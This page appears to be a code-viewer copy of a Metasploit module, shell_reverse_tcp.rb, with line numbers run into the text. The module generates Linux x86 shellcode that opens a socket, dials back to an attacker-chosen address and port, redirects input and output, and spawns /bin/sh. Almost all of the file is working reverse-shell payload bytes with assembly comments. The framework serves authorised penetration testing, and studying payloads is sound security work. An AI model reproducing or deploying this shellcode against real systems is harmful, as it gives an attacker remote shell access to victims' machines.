Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/payloads/singles/linux/x86/shell_reverse_tcp.rb
Views: 11780
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##456module MetasploitModule78CachedSize = 68910include Msf::Payload::Single11include Msf::Payload::Linux12include Msf::Sessions::CommandShellOptions1314def initialize(info = {})15super(merge_info(info,16'Name' => 'Linux Command Shell, Reverse TCP Inline',17'Description' => 'Connect back to attacker and spawn a command shell',18'Author' => ['Ramon de C Valle', 'joev'],19'License' => MSF_LICENSE,20'Platform' => 'linux',21'Arch' => ARCH_X86,22'Handler' => Msf::Handler::ReverseTcp,23'Session' => Msf::Sessions::CommandShellUnix24))2526register_options([27OptString.new('CMD', [ true, "The command string to execute", "/bin/sh" ])28])29end3031def generate(_opts = {})32# pad the shell path to a multiple of 4 with slashes33shell = datastore['CMD']34remainder = shell.bytes.length % 435if remainder == 0 then remainder = 4 end36shell_padded = ("/" * (4-remainder)) + shell3738"\x31\xdb" + # xor ebx,ebx39"\xf7\xe3" + # mul ebx40"\x53" + # push ebx41"\x43" + # inc ebx42"\x53" + # push ebx43"\x6a\x02" + # push byte +0x244"\x89\xe1" + # mov ecx,esp45"\xb0\x66" + # mov al,0x66 (sys_socketcall)46"\xcd\x80" + # int 0x8047"\x93" + # xchg eax,ebx48"\x59" + # pop ecx49"\xb0\x3f" + # mov al,0x3f (sys_dup2)50"\xcd\x80" + # int 0x8051"\x49" + # dec ecx52"\x79\xf9" + # jns 0x1153"\x68" + [IPAddr.new(datastore['LHOST'], Socket::AF_INET).to_i].pack('N') + # push ip addr54"\x68\x02\x00" + [datastore['LPORT'].to_i].pack('S>') + # push port55"\x89\xe1" + # mov ecx,esp56"\xb0\x66" + # mov al,0x66 (sys_socketcall)57"\x50" + # push eax58"\x51" + # push ecx59"\x53" + # push ebx60"\xb3\x03" + # mov bl,0x361"\x89\xe1" + # mov ecx,esp62"\xcd\x80" + # int 0x8063"\x52" + # push edx6465# Split shellname into 4-byte words and push them one-by-one66# on to the stack67shell_padded.bytes.reverse.each_slice(4).map do |word|68"\x68" + word.reverse.pack('C*')69end.join +7071"\x89\xe3" + # mov ebx,esp72"\x52" + # push edx73"\x53" + # push ebx74"\x89\xe1" + # mov ecx,esp75"\xb0\x0b" + # mov al,0xb (execve)76"\xcd\x80" # int 0x8077end78end798081